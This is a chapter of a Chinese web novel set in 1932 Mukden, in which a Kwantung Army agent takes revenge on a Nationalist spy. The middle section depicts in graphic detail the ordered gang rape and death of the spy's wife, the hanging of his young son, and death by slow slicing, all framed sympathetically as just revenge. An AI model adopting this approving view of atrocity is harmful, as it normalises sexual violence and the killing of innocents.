首页
第六十章 赵铁生之死
返回
关灯 护眼:关 字号:小

第六十章 赵铁生之死

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第六十章赵铁生之死(第1/2页)
    民国二十一年,五月十六日,拂晓。奉天。
    晨雾如同一层灰纱,低低地笼罩着叶家府邸高大的青砖院墙,把门楣上那块匾额的轮廓揉得模糊不清。街巷里没有行人,只有远处偶尔传来一声短促的犬吠,很快就被寂静吞没了。一队关东军宪兵整齐列于大门之外,军靴踏在湿漉漉的青石板地面上,枪托稳稳抵着地面,肃杀的气息驱散了清晨仅有的几分静谧。木下谦太郎一身军装,神色冷峻,腰间配着短刀,帽檐压得整整齐齐。他站在队伍最前面,抬起头看了一眼门楣上那块匾额,然后侧过头,朝身后的人打了个手势。
    消息飞快传入内院前厅。丫鬟们提着裙摆跑过回廊,脚步声碎而急,把叶家所有人从睡梦中惊醒。叶峰正坐在床沿上扣衣襟,听见门外急促的禀报声,手上的动作顿了一下,然后继续扣完最后一颗纽扣,站起来推门走了出去。他走到前厅的时候,叶陵忠和金海燕已经站在厅门口了,叶陵勇和马玉兰紧随其后,安舒也披着一件外衣赶了过来。叶家一众核心人物尽数齐聚,可每个人的脸色都不算好看。
    叶峰在主位上坐下来,双手撑着扶手,目光扫过院外林立的宪兵,眼底沉沉的。他开口的时候声音不高,却带着一种压着的怒意:“宪兵队围府,这么大的动静,连个知会都没有。关东军这是什么意思?”
    叶陵勇站在他身侧,手攥着拳,指节泛白,眼睛盯着院门口那道正大步走进来的身影。木下谦太郎的身影在晨雾中渐渐清晰,军靴踩在青砖上发出沉闷而有节奏的声响。他走到前厅门口,在门槛外站定,没有进去,只是微微欠身,语气公事公办:“叶大帅,我奉命前来,只为捉拿潜藏在你府中的南京国民政府间谍。打扰之处,还望见谅。”
    叶陵勇按捺不住心头火气,率先上前一步,声音带着压抑的恼怒:“木下大尉,我们叶家早已选择依附关东军,大小事务向来全力配合,从未有过半分推诿。今日你带着宪兵包围府邸,兴师动众前来,究竟意欲何为?”
    木下谦太郎神情没有半分松动,目光平视着叶陵勇:“叶二公子,我奉命前来,只为捉拿潜藏在你府中的南京国民政府间谍。”
    叶陵勇眉头紧锁:“间谍?是谁?”
    “你的副官,赵铁生。”
    这话一出,前厅里安静了一瞬。叶陵勇的眉头猛地拧紧了,声音比方才高了几分:“一派胡言!绝无可能!赵铁生跟随我多年,忠心耿耿,怎么会是南京的间谍?你们是不是弄错了?他跟着我打了那么多年仗,出生入死,从来没有出过差错。你们抓他,总得有证据吧?”
    一旁的叶陵忠闻言微微蹙眉,往前走了一步,语气不像弟弟那么冲,却也带着明显的不赞同:“木下大尉,此事事关叶家声誉,不可单凭一纸说辞随意拿人。赵铁生在叶家十几年,若他真是南京的间谍,我们不可能毫无察觉。你们抓人,总该给一个让我们信服的理由。”
    金海燕站在丈夫身侧,一手攥着帕子,指节微微泛白。她没有说话,可她的目光在木下谦太郎和叶陵勇之间来回移动着,满是忧虑。
    安舒从人群里走出来,踏出一步,语调平和却带着分量:“木下大尉,此事是否存有误会?赵副官久在叶家办事,向来安分,贸然定罪抓人,恐难以服众,还望你三思。我大哥方才也说了,叶家对关东军向来是全力配合的,若是有什么误会,我们坐下来谈清楚就是了。”
    木下谦太郎望见安舒,姿态立时客气几分,微微颔首:“松田夫人。属下只是遵从关东军高层下达的命令执行任务。若是夫人心中存有疑虑,大可前往关东军司令部,面见本庄繁司令官或是板垣大佐问询。还请松田夫人莫要为难属下——属下只是奉命行事,没有擅自做主的余地。”
    安舒一时语塞。她看着木下谦太郎那张没有表情的脸,又看了看院外列队的宪兵和已经散开开始封锁各个出口的士兵,心里明白多说无益。她点了点头,退回了人群里。
    叶峰自始至终没有开口。他坐在主位上,手里攥着太师椅的扶手,目光沉沉的。他没有出声阻拦,也没有开口质问,只是看着院外那些荷枪实弹的宪兵,像是在心里把什么称了一遍又放下了。他轻轻挥了一下手,像是在说“去吧”。没有人看清那个手势是给谁的,可所有人都知道,这件事已经拦不住了。
    木下谦太郎转过身,朝身后列队的宪兵抬了一下手。一众宪兵鱼贯而入,径直向内院推进。军靴踏过回廊的声响在清晨寂静的府邸里格外清晰,一声接着一声,像是有人在用极慢的节奏敲着一面鼓。
    赵铁生被从住处拖出来的时候,他只来得及披上一件外衣。他没有反抗,只是低着头,任由两名宪兵把铁链扣在他的手腕上,发出清脆的咔嗒声。他被押至前厅的时候,目光从叶峰脸上扫过,又看了一眼叶陵勇,嘴唇动了一下,想说什么,又咽了回去。他的眼底有一层灰败的东西,像是早就知道这一天会来,只是一直在等它落下来。
    木下谦太郎取出一份名单,展开来,声音不高却清清楚楚地传遍了前厅:“按照这份名单,所有人尽数逮捕,不得遗漏!”
    宪兵四散开展搜捕,脚步声、推门声、短促的命令声混在一起,在清晨的叶府里扩散开来。不多时,一名宪兵快步回来躬身汇报:“大尉,名单上大部分人已经顺利抓捕,尚有一人不在府中。”
    木下谦太郎问道:“此人去往何处?”
    叶陵勇站在廊下,双手攥着栏杆,指节泛白,声音闷在胸腔里:“是秦之江。几天前奉命外出办理差事,至今尚未返回府邸,下落不明。”
    木下谦太郎微微颔首,不再多做停留,示意宪兵押解所有抓获人员动身离开叶府。队伍穿过前院的时候,铁链和脚步声混在一起,在青砖地面上拖出沉闷的声响。叶陵忠、叶陵勇兄弟站在廊下看着一行人远去的背影,各怀心事,满腔愤懑无处宣泄。安舒站在人群后面,眉头紧锁,目光落在木下谦太郎远去的背影上,暗自思索此事背后暗藏的风波。
    宪兵队临时院落里,天色已经大亮了。押解犯人的队伍被分成两列,大部分被直接关进了临时牢房。赵铁生被单独带往地牢方向,铁链拖在青砖地面上,发出刺耳的声响。他被推进地牢之前,没有看见任何人来交接——宪兵只是押着他走,不说话,不解释。
    木下谦太郎在院落里站了一会儿,确认所有人都被安顿好之后,转身去了院落后方一间独立的办公室。推开门,刘白山正站在窗前,背对着门口。他听见脚步声,没有回头,只是开口问了一句:“带来了?”
    “都带来了。”木下谦太郎在他身后站定,“按照名单,悉数抓获,唯独一人叫秦之江的外出办事,没能捉拿归案。赵铁生本人已经押入地牢,其余人犯分别关押在临时牢房里。”
    刘白山转过身来,目光沉静:“秦之江。什么来路?”
    “赵铁生的亲信,平时负责传递消息和跑腿。三天前被赵铁生派出去办差,至今未归。我已经派人去查他的去向,沿路设了关卡,他跑不远。”木下谦太郎顿了顿,“刘君,赵铁生现在已经被控制在牢里了。你打算什么时候见他?”
    刘白山把目光从窗外收回来:“不急。先让他待着。玲儿等了那么久,不差这一夜。”他走到桌案后面坐下来,“地牢里的事,交给我。你只需要把外面盯紧了,别让秦之江跑掉就行。”
    木下谦太郎点了点头:“你放心。我已经安排人手在城门和车站布控了。”他转身走到门口,停下脚步,没有回头,“刘君,今晚的事,你打算做到什么程度?”
    刘白山的手指在桌面上轻轻敲了两下,没有回答。
    木下谦太郎沉默片刻,低声补充:“板垣大佐临行前私下吩咐过我,此次抓捕赵铁生,后续处置交由你全权做主。宪兵队地牢、人手我尽数配合,只要不闹出惊动奉天各界的大乱子,关东军高层不会过问。”
    刘白山抬眼看向他:“费心了。”
    木下谦太郎没有继续多问,推门走了出去。门在他身后合上,发出一声沉闷的响。
    阴冷潮湿的地牢里,油灯火苗摇曳不定,光影在墙壁上来回晃动,把每一个人的影子都拉得又长又扭曲。赵铁生被铁链牢牢锁在铁椅之上,衣衫凌乱,垂着头,被连日的疲劳、恐惧和颠簸折磨得面色灰败。可当铁门被推开,脚步声从门口缓步走入的时候,他抬起头,看清了那个走进来的人。
    他的瞳孔猛地收缩了,像是被人从里到外抽空了一层。他怔怔地看着刘白山站在油灯下被照得半明半暗的面孔,嘴唇哆嗦了一下,巨大的惊愕瞬间吞没了他,然后失声开口,语气满是震撼:“是你?你不是叶家刘管家的义子?你怎么会……怎么会是关东军的人?”
    刘白山缓步走到铁椅前方,静静俯视着他。油灯的光落在他的侧脸上,把他嘴角那道极淡的弧度照得清清楚楚。他开口的时候语气平淡,却带着沉甸甸的压迫感:“赵铁生,你四处追查、一直想要摸清身份的关东军大尉,就是我。”
    赵铁生怔怔望着他,喉结狠狠滚动了几下,依旧无法接受眼前的事实。他猛地往前挣了一下,铁链哗啦作响,声音里带着一种被逼到绝路之后才会有的急切:“竟然是你!你我同为中国人!你为何要替关东军办事?还拿到关东军的军衔——这些年,你到底在背后谋划了什么?”
    刘白山在他对面的木凳上坐下来,把短刀横放在膝盖上,动作很慢很稳。他开口的时候声音不高:“我谋划什么不重要。重要的是,从你让人把玲儿拖进地牢的那天晚上开始,我就只剩下一个念头——让你也尝尝她尝过的滋味。”
    “玲儿?”赵铁生的呼吸猛地一窒,“你说的是……宫玲?”
    刘白山的目光落在油灯上,火苗在他瞳孔里跳动着。他没有立刻回答,沉默了片刻才开口:“你还记得她最后看你的那一眼吗?”
    赵铁生的脸色白了一瞬,嘴唇动了一下:“她……她当时已经说不出话了。”
    “可她看着你的时候,眼睛是亮的。”刘白山的声音不高,却像一根细针扎进了空气里,“我赶回来的时候,她还有最后一口气。她躺在地牢里,浑身是伤,眼睛半睁着,像是撑着最后一口气在等什么人。我冲到她面前,她看见我了——她的眼睛亮了一下,就那么一下。她跟我说对不起。我说别说话,我去请大夫。我转身往外跑,鞋都跑掉了,砸开医馆的门,抓着大夫往回跑。可我回去的时候……她已经走了。她的眼睛还睁着,看着门口的方向。她在等我回来。可我回来的时候,她等不了了。”
    他的声音在最后几个字上碎了一下,又被他自己硬生生接住了。他低下头,看着自己攥紧的拳头,指节泛白:“她到死都在等一个不会来的人。她等的那个人不是你,可你站在她面前,挡住了她最后看见的那道光。”
    赵铁生的胸膛剧烈起伏着,铁链哗啦作响。他开口的时候声音已经在发抖了,像是被什么东西从里到外地掏空了:“刘白山……我承认,宫玲的事……有我一份。可我不是主谋!我只是奉命行事!真正下令抓她的——”
    “你奉命行事?”刘白山打断他,目光陡然锐利起来,“你把她关进地牢的时候,她有没有求过你?她有没有跟你说,她只是一个听命行事的普通姑娘,她不想死?”
    赵铁生噎住了。他的嘴唇动了动,没有说话。
    “你有那么多机会可以放她走。”刘白山站起来,走到他面前,低头看着他,“你查到了她是关东军的人,你可以上报、可你没有。你把她留在地牢里,让手下去折磨她,因为——她知道了你南京的身份,对不对?你怕她活着走出去。怕你是南京蒋介石的卧底被曝光。”
    赵铁生的呼吸陡然急促起来:“你……你怎么会知道?”
    “你以为你藏得很好?”刘白山的嘴角弯了一下,那弧度冰冷如铁,“你每一次和张凤岐在城南客栈碰面,我都坐在隔壁的窗台上。你每一次往南京送信走的那条线路,我比你更早走过一遍。你派出去的那些手下,我一个个查过他们去了哪里、见了谁。赵铁生,你在奉天藏了十几年,可你从来不知道——你身后一直有人跟着。”
    赵铁生猛地抬起头:“你跟踪我?!”
    “不是跟踪。”刘白山的声音平得像一潭死水,“是等着你把自己埋进自己挖的坑里。你越怕暴露,就越会露出破绽。你怕玲儿活着会说出你的秘密,所以你先下手为强。你每一步都在自保,可你每一步都在把绳子勒得更紧——最后勒住的是你自己的脖子。”
    赵铁生靠在铁椅靠背上,额头上全是冷汗:“刘白山……你到底想怎么样?你抓了我,你的人把外面也围了,你还有什么没做的?”
    刘白山没有回答。他重新在木凳上坐下来,把短刀放在膝盖上,低头看着刀刃上映出的自己的脸:“我在想,玲儿现在要是活着,看见你坐在这里发抖的样子,会不会觉得可笑。你当初把她踩在脚底下的时候,可曾想过有一天自己也会坐在铁椅上?可曾想过有一天,你的命也会攥在别人手里?你当初把她关进地牢的时候,她求你放她一条命,你没有听。现在你坐在这里求我放你一条命,你觉得我会听吗?”
    赵铁生的声音已经开始发虚了:“刘白山……我可以给你情报。我知道叶家的底细,知道叶陵勇和日本人的交易,我还能联系上南京那边的人。你放我一条命……”
    刘白山看着他,目光里的温度又冷了一分。他没有说话,只是站起来,朝门口走过去,推开铁门,对外面低声说了一句什么,然后转回来,重新在木凳上坐下来。他开口的时候声音放平了一些,像是在陈述一件已经决定好了的事:“赵铁生,你的那些同伙,已经全部被处置了,一个都没剩下。”
    赵铁生浑身抑制不住地发抖,像是所有的力气都被从骨头里抽走了。他抬起头,看着刘白山的眼睛,声音嘶哑得不成样子:“刘白山……你想要的到底是什么?你到底还要什么?”
    刘白山没有回答这个问题,只是坐在那里,把短刀从膝盖上拿起来,在油灯下慢慢翻转,让刀刃上的光在墙上晃了一下。地牢外传来脚步声,由远及近,在铁门外停住了。刘白山站起来,走过去,推开了铁门。
    宫崎樱子抱着由琪站在门外。她穿着一件素色的和服,头发简简单单地挽着,脸上没有多余的表情,可她攥着和服边角的手指攥得指节泛白。由琪在她怀里安静地蜷着,黑色的眼睛望着牢门里面。刘白山侧过身,让开门口,低头看着她:“进来吧。”
    樱子走进去。地牢里的空气潮湿而阴冷,油灯把墙上的影子拉得歪歪扭扭,她每走一步,由琪就在她怀里微微动一下。她走到铁栏前面,抬起头,望向了囚牢里的人。
    赵铁生茫然抬眼,视线撞上那张熟悉的面孔。他的喉咙像是被什么东西掐住了,浑身猛地一颤,后背紧紧抵住冰冷石壁,呼吸骤然停滞。他盯着那张脸看了好几息,喉咙里才挤出惊骇嘶哑的一声:“宫玲!”
    樱子站在那里,身子在微微发颤。她盯着赵铁生,盯着这张她从未见过却已经在梦里想了无数次的脸。她的嘴唇在动,却发不出声音。由琪在她怀里探出脑袋,看了看赵铁生,又看了看樱子,然后把头埋回了她的臂弯里。
    樱子开口了。她的中文蹩脚而缓慢,每一个字都像是从胸腔最深处硬挤出来的,带着一种她自己也没有完全预料的东西:“白山大哥……他,他就是害死姐姐的人?”刘白山点了点头,樱子盯着赵铁生,盯着他那张被油灯照得惨白的脸,像是要把那张脸刻进眼睛里,一辈子都不忘掉。她的嘴唇颤抖着,声音一遍比一遍低,可每一个字都清清楚楚地落在潮湿的空气里:“八嘎……八嘎……八嘎……”
    由琪在她怀里轻轻呜了一声,像是在回应她的声音。赵铁生缩在墙角,看着那张和宫玲一模一样的脸,看着那双含着泪却死死盯着他的眼睛。他忽然想起他手下说遇到鬼了,宫玲要来锁命了,一下全明白了,他又想起地牢里宫玲最后看他的那一眼。那一眼和此刻这一眼一模一样——不是恨,是一种比恨更让人发冷的东西,像是一块石头沉进了很深的水底,连水花都没有溅起来。她的嘴唇还在动,那三个字翻来覆去地从她嘴里滚落,连成一片低沉的、像是被碾碎了又拼起来的声响。
    (本章未完,请点击下一页继续阅读)第六十章赵铁生之死(第2/2页)
    刘白山缓步上前,抬手轻轻抚过樱子的发顶,动作温柔,语气沉静:“樱子,这里有我就够了。这样的场面,你还是不要多看。”他侧首,对着身侧待命的关东军士兵沉声吩咐:“带樱子出去。”
    士兵立刻躬身应下,上前轻声引导樱子离开。樱子没有再回头,泪珠不断坠落,一步一步跟着士兵走出地牢。由琪在她怀里探出半个脑袋,隔着她的肩头看了一眼牢房的方向,然后缩了回去。身后牢门缓缓关上,隔绝了地牢里所有晦暗与恩怨。
    刘白山转过身,目光重新落在赵铁生身上。他开口的声音穿透沉闷的空气:“玲儿是我这辈子最重要的人。你害死了她,还纵容旁人糟蹋她,今日我要让你百倍偿还。”他走到铁椅前面,低头看着他,“你刚才问我想要什么。我现在告诉你——我要你亲眼看着她受过的所有苦,你自己也受一遍。”
    赵铁生的嘴唇哆嗦着,像一条被扔上岸的鱼。他想说什么,可喉咙里像是被什么东西堵住了。
    刘白山侧过头,朝着门外沉声吩咐:“把人带上来。”
    沉重的铁门“吱呀”一声被推开。两名关东军士兵一左一右押着一名妇人走入,妇人怀里紧紧搂着年幼的孩儿,那孩子不过五六岁,正把脸埋在母亲怀里发抖,小手攥着她的衣襟攥得指节发白。赵铁生看清来人的刹那,浑身血液仿佛瞬间冻结,双目猛地睁大,巨大的惊恐瞬间吞噬了他,喉咙里挤出破碎的声音:“秀兰!小涛!刘白山……你想干什么?!不要动他们!所有事情都是我一个人的事!你要杀要剐冲我来!”
    刘白山缓步上前,目光冷冷落在惊慌失措的母子身上,又转回赵铁生惨白的面孔:“我想干什么?”他低声重复一遍,语调带着刺骨的寒意,“当时玲儿承受的痛苦,我要让你的妻子亲身体会一遍。最重要的是,我要让你,亲眼听完这一切。”他侧过头,对旁边的士兵吩咐道:“把孩子捆到一旁柱子上,看好,不许伤他性命。”
    士兵立刻上前,将哭喊的小男孩从母亲怀里拽出来,捆在墙角立柱上。孩子吓得哇哇大哭,不停呼喊母亲:“娘!娘!我害怕!”赵铁生疯狂冲撞铁链,嘶吼着:“小涛!别怕!爹在这儿!”可他的声音被铁链的哗啦声和孩子尖锐的哭声搅得粉碎,什么也传达不过去。
    刘白山抬了抬下巴,看向一旁待命的几名关东军士兵:“把所有人都叫来,地牢里、府邸的所有关东军士兵,全部聚集。这个女人,你们所有人好好‘伺候’。我去外间稍坐片刻,完事之后再来唤我。”
    几名士兵眼中泛起贪婪,齐齐躬身:“多谢大尉!”刘白山不再多看,转身迈步走向门外。厚重的铁门砰地关上,隔绝了外界的光线。下一刻,妇人惊恐绝望的尖叫声猛地炸开,撕裂审讯室死寂:“铁生!救我!铁生!救救我!”铁链疯狂晃动,赵铁生拼命挣扎,铁椅在地面摩擦出刺耳的声响。他目眦欲裂,嘶吼着怒骂:“刘白山!你这个畜生!混蛋!你不得好死!!”凄厉的哭喊、哀求不断从门内传出,其间夹杂布料被粗暴撕扯的脆响。一声声惨叫不断钻进耳朵,一模一样的绝望,复刻了当时宫玲遇害那一夜。赵铁生此刻听见的每一声哀嚎,正是当时宫玲无人听见的绝望。他的头撞在铁椅靠背上,一下又一下,额头渗出血来,可他什么都做不了。
    刘白山站在走廊,静静靠着墙壁。夜色笼罩长廊,他面无表情,没有人知晓他心底究竟是复仇得逞的快意,还是永无休止的空洞。他在那条长廊上站了很久,久到里面的声音从尖叫变成哭喊,从哭喊变成呜咽,最后变成一种被抽空了所有力气之后的死寂。
    片刻之后,铁门再度开启。几名士兵分立两侧,地上的秀兰无力瘫倒,衣衫破碎不堪,浑身遍布伤痕,奄奄一息。那破碎绝望的模样,与当时宫玲离世前的神情重合在一起。赵铁生双眼赤红,疯狂扭动身上锁链,不停嘶吼:“刘白山!你不得好死!我绝不会放过你!”
    当时叶府地牢也传出过那一句“赵铁生你这个畜生!阴狠歹毒,你不得好死!”历史又一次重新上演了一遍。
    秀兰微弱地喘息,口中不断溢出血沫,几番想要出声,最终脑袋轻轻一歪,彻底断绝了气息。
    亲眼目睹妻子惨死,赵铁生浑身剧烈震颤。被精神折磨之下,赵铁生意志濒临崩溃,喘着粗气急切辩解:“刘白山,宫玲的事不能全部算在我一人头上!我只是区区副官!当初我仅仅只是察觉她卧底身份,真正下达处置命令的是叶家二公子叶陵勇!一切都是他主导的!”刘白山冷冷俯视着他:“赵铁生,你已是将死之人,到如今还想胡乱攀咬,妄图脱身,实在可笑。”
    赵铁生抱着最后一线生机苦苦哀求:“刘白山,你的仇已经报了大半,你究竟还想要什么?只要你愿意放我活命,不管你提出什么条件,我全都答应!”这番话只换来刘白山满眼的鄙夷,声音冰冷刺骨:“你真是一头畜生。你的妻子刚刚死在你的面前,你心中毫无半分哀痛,一心只想着保全自己,你还算得上是人吗?”
    刘白山朝着一旁待命的士兵扬了扬下巴,缓缓开口宣判:“接下来,我就让你亲眼看着,你儿子的下场。”士兵立刻上前,将捆在立柱上啼哭不止的小涛拖拽出来,取出一条白色麻布,拧成绳套。小涛惊恐地手脚乱蹬,稚嫩的哭喊回荡在地牢之中:“爹爹!救我!爹爹救我!”赵铁生目眦欲裂,拼尽全身力气冲撞铁链,撕心裂肺的绝望咆哮在地牢回荡,却再也无法阻拦惨剧发生。目睹妻儿接连惨死,赵铁生精神彻底崩塌,疯狂冲撞铁链,嘶哑的咒骂断断续续从喉咙里挤出来。
    刘白山缓步上前,抬手示意士兵按住躁动的赵铁生。他自腰间抽出一柄寒光凛冽的短刃,指尖轻轻摩挲冰凉的刀锋。刀锋反射的微光落在赵铁生惊恐的脸上,对方下意识往后缩,浑身止不住发抖。刘白山微微俯身,目光直直锁住赵铁生,语气平静,却带着彻骨的寒意:“赵铁生,你可听过一种古老的酷刑,名叫凌迟。”赵铁生瞳孔骤缩,嘴里的谩骂戛然而止,一股寒意顺着脊背直冲头顶。“今日,我便亲手对你行刑。我会一刀一刀,一块一块割下你的皮肉,慢慢折磨。直到最后,将你割得只剩一副白骨。”
    赵铁生吓得魂飞魄散,失声嘶吼:“不要!刘白山!求你给我一个痛快!”刘白山淡淡勾起一抹冷冽的笑,没有半分怜悯:“当时玲儿苦苦哀求的时候,你可有半点人性?你慢慢受着,你欠下的债,一丝一毫,都不能少。”话音落下,刘白山手臂微抬,短刀向前送出。一声皮肉被利刃破开的脆响,在地牢死寂之中格外刺耳。剧痛瞬间席卷全身,赵铁生猛地弓起脊背,撕心裂肺的惨叫轰然炸开。刘白山缓缓转动刀柄,冰冷的嗓音伴随刀锋动作响起:“第一刀,为玲儿所受的屈辱。”他收回短刀,稍作停顿,再次出手,“第二刀,偿还你下令让人糟蹋她的罪孽。”一刀又一刀,利刃割裂皮肉的声响接连不断。“你亲眼看着妻子惨死,幼子丧命,这仅仅只是开端。你亏欠玲儿的每一分痛苦,今日,我会让你逐一尝遍。”地牢之内只剩下赵铁生不间断的惨嚎,声声嘶哑,回荡在冰冷石壁之间。鲜血顺着铁椅不断滴落,在地面积起暗色血洼。刘白山动作不急不缓,一刀一刀持续行刑,将长久积压的悲恸与恨意,尽数倾泻在赵铁生身上。
    一夜漫长,地牢里凄厉的哀嚎渐渐微弱,最终归于死寂。
    第二日天光微亮,暮春细雨绵绵不绝,笼罩奉天郊外的荒坡。宫玲的坟茔孤零零立在草地之上,一方低矮土丘,仅有一块简陋木牌标识。刘白山一身深色军装,手中提着一块染红的红布包裹。宫崎樱子紧随在他身侧,怀里紧紧抱着由琪。宫崎周一静静伫立在坟旁,神色肃穆,望着妹妹简陋的坟冢,眼底压着化不开的沉郁。几名关东军士兵远远站着,背对着这边,像是把这片荒坡留给了那些需要安静的人。
    细雨落在坟冢上,把湿润的泥土浸得更深了一些。刘白山缓步走到坟前,面向低矮土坟,声音低沉沙哑:“玲儿,你的大仇,得报了。”他抬手,缓缓掀开包裹外层的红布,赵铁生冰冷的头颅显露出来。“我一刀一刀将他皮肉片片割下,纵使如此,依旧难以平息我心中恨意。”他蹲下来,把那颗头颅放在坟前,然后站起来,目光温柔落在简陋的坟冢上,“玲儿,叶家当时仅仅草草将你安葬,委屈你长眠于此。等着我,日后我必会花费重金,将这整片山头尽数买下,为你重新修筑墓园,立碑筑堂,四周遍植花木。我要把你的陵寝修建得安稳气派,再也不让你受半分冷清。”
    他深深吸了一口气,细雨打湿了他的肩头,可他没有动。他开口的时候声音不高,却带着一种压了很久的、像是终于找到了出口的东西:“玲儿,以前的刘白山,昨夜已经随着仇怨一同死去。自今日起,我随你改姓宫崎,往后,我名为——宫崎白山。等你睡在新的墓园里,我会天天来看你。”
    一旁的宫崎周一缓步上前,望着坟丘长长叹了一口气,语气满是唏嘘。他用日语说了一句:“玲子,你终于可以安息了。白山为你所做的一切,做兄长的全都亲眼见证。”然后他转向刘白山,用中文说道:“既然你决意改姓宫崎,那从今日起,你便是我们宫崎家的一员。母亲若是知道你做了这个决定,大概也会替玲子高兴的。”
    哀伤沉寂片刻,宫崎周一神色转为郑重,开口道:“白山,樱子,明日我便要动身返回日本。军部已经下达调令,召我归国,赴东京陆军省任职。”他看了一眼妹妹的坟冢,又转回来看着宫崎白山,“关东军在东北的布局会越来越紧。你们在这里,自己多加小心。”
    宫崎白山点了点头:“一路保重。”宫崎周一没有再说什么,只是最后看了一眼那座低矮的土坟,转身朝来路走去。细雨落在他的肩头,把他的背影融进了灰蒙蒙的雨幕里。
    樱子走上前,在坟前跪下来,由琪从她怀里跳下去,蹲在她脚边。她伸出双手,轻轻抚过坟前的泥土,开口的时候用的是日语,声音轻得像是在跟一个正在做梦的人说话:“欧内酱,我来看你了。白山大哥把害你的人带来了,你可以安心了。”她低头看着指尖沾着的湿泥,“我小时候总想,如果姐姐能回家就好了。后来你写信回来,说你在外面有一个家。我那时候不懂,现在懂了。”
    她侧过头,看了一眼站在身后的宫崎白山,又转回来看着坟:“你选的人,是对的。他替你报了仇,也替我留着那些你来不及说的话。欧内酱,你可以好好睡了,不用再等谁了。”细雨落在她肩头,她像是感觉不到一样,只是跪在那里,把额头轻轻贴在坟前的泥地上。由琪绕到她身前,用鼻尖碰了一下她的手背。宫崎白山蹲下来,和她并肩跪在坟前,伸出手,把赵铁生的头颅推到离坟更近一点的位置。由琪蹲在两个人中间,仰着脑袋看了看宫崎白山,又看了看樱子,然后低下头,把脑袋枕在了他的靴面上。细雨落在湿润的泥土里,悄无声息地渗了下去。一座简陋的木牌,一座低矮的土坟,两个跪在雨里的人,和一只安静蹲在中间的小白狗。
    而在数百里之外的吉东山道上,萧羽峰的队伍正在雨中急行军。马占山的主力已经在前方拉开了阵线,电报一封接一封地送到萧羽峰手中。依兰在五月十七日被日军攻占的消息传遍了整个北满,李杜和冯占海的部队正在向宾县方向集结。关东军第十师团骑兵联队配合伪军占领依兰之后,正在向哈尔滨方向收缩防线。萧羽峰蹲在一块岩石下面,把一份刚收到的电报看了两遍,然后折好收进怀里,站起来对身边的周队长说:“马司令那边已经推进到嫩江以南了。李杜的主力在宾县方向压着,日军的主力都被牵制在哈尔滨东线。我们的任务是继续向东穿插,切断依兰和哈尔滨之间的补给线。”
    他的手指在湿漉漉的地图上划了一下,落在一个标着山谷的位置上:“这里,是日军辎重必经的路段。我们赶在他们布防完成之前,先卡住这个口子。”周队长看了看地图,又看了看天:“雨这么大,路不好走。伤员也撑不住长途行军。”萧羽峰的目光没有从地图上移开:“让轻伤员跟着走,重伤员留在后方,等补给到了再跟上来。不能停。如果我们慢了,马司令的侧翼就空了。”周队长没有再说什么,转身去安排了。
    婉柔坐在板车上,把一块油布撑在头顶,挡住不断落下的雨水。妞妞蜷在她怀里,裹着一件旧棉袍,小脸埋在婉柔的衣襟里,只露出一双半睁半闭的眼睛。林倩坐在她旁边,身上的衣裳已经被雨水打湿了大半,可她像是感觉不到冷一样,只是安静地坐着。云子走在板车右侧,雨水顺着她的帽檐淌下来。小雯跟在板车后面,脚上的布鞋已经湿透了。
    婉柔侧过头,目光穿过雨幕落在队伍前方那道被雨水浸透的背影上。萧羽峰骑在马上,军装已经湿透了,可他坐在马背上的腰杆还是直的。她看了一会儿,低下头,把妞妞往怀里拢了拢。雨声很大,把所有的声音都吞掉了,只剩下马蹄踩在泥泞土路上的沉闷声响和车轮碾过水坑时溅起的哗啦声。
    傍晚时分,队伍在一处避风的山坳里停下来扎营。婉柔从板车上下来,把妞妞交给小雯,自己走到一处能避雨的大石头下面蹲下来,把湿透的头发拢到耳后。林倩走过来挨着她坐下,两个人中间隔着一只粗瓷碗的距离。篝火在油布下面燃着,火光被雨幕压得很低,只在两个人脸上落下一点微弱的光。远处,云子蹲在火堆对面,把最后几根干柴拢进油布下面,动作很快又很轻。小雯抱着妞妞靠在板车边沿,妞妞已经迷迷糊糊快要睡着了。
    雨水顺着油布边缘滴落,在婉柔脚边汇成一条细细的水流。她低头看着那道水线,没有动。林倩坐在她旁边,安静地看着她低垂的眉眼。过了一会儿,林倩伸出手,没有说话,只是把自己的手指慢慢绕进了婉柔的指缝里,十指扣在一起,轻轻握了一下。
    婉柔侧过头,目光落在两个人交握的手上。雨水把她们的指尖都淋得微凉,可掌心贴着掌心的那一小片温度,却像是风吹不散的。她没有抽开,也没有问,只是轻轻回握了一下。林倩的声音从雨幕里传过来,不高,却像是贴着耳廓放下的:“这样握着,我总觉得这条路没那么长了。”
    婉柔的指尖在她掌心里微微蜷了一下,然后松开,又扣紧。她开口的时候声音不高:“你在叶府的时候,从来没有主动握过我的手。”林倩低下头,看着自己扣在婉柔指缝间的手指,声音更轻了一些:“那时候不敢。怕被人看见,怕被人说。现在,无所谓了。”
    婉柔没有再说话。两个人在雨夜里安静地坐着,手扣在一起,谁都没有再开口。篝火的余烬在雨幕中闪烁着,明明灭灭。雨还在下,细细密密的,像是有人在很远的地方翻着一本永远翻不完的书。风穿过河谷,把最后一点余烬吹成了细碎的火星,在夜空中亮了一下,然后彻底灭了。可她们的手还扣在一起,没有松开。
    柔望着连绵无尽的雨山,心底暗自唏嘘。一路辗转逃亡,战火步步紧逼,不知道还要漂泊到什么时候。她早已放下叶家的恩怨,唯一所求,便是身旁之人能够长久相伴。只是乱世滔滔,未来如同眼前这片浓雾,谁也看不清前路等待自己的是什么。
    而在奉天城北那座私宅里,雨丝同样落在那棵老槐树的叶子上,沙沙作响。灵堂里的香烛已经熄了,可供桌上那幅画像还在。画像上玲儿眉眼含笑,嘴角微微弯着。宫崎白山站在供桌前,没有点灯,就那么站在暮色里。他伸出手,轻轻碰了一下画像边缘的木框,指尖沿着边框慢慢滑过去。由琪蹲在他脚边,仰着脑袋看了看他,然后把头枕在了他的靴面上。
    “玲儿,”他的声音很轻,“那些名字,以后不会再有人叫了。赵铁生死了,那些人也都死了。你的事,结束了。”他停顿了一下,“可我还在。我会替你走下去。”风从门缝里灌进来,吹动供桌上那幅画像的边角,又落下了。樱子抱着由琪站在门口,没有进来,就那么隔着几步的距离看着他的背影。由琪在她怀里打了个小哈欠,然后安静下来。远处的奉天城墙外,雨还在下。黑河方向,萧羽峰的队伍正在夜色中继续行军。雨打湿了所有人的肩头,可没有人停下来。天亮之后,又是新的一天。
    (第六卷完)
章节报错(免登陆)
验证码: 提交关闭
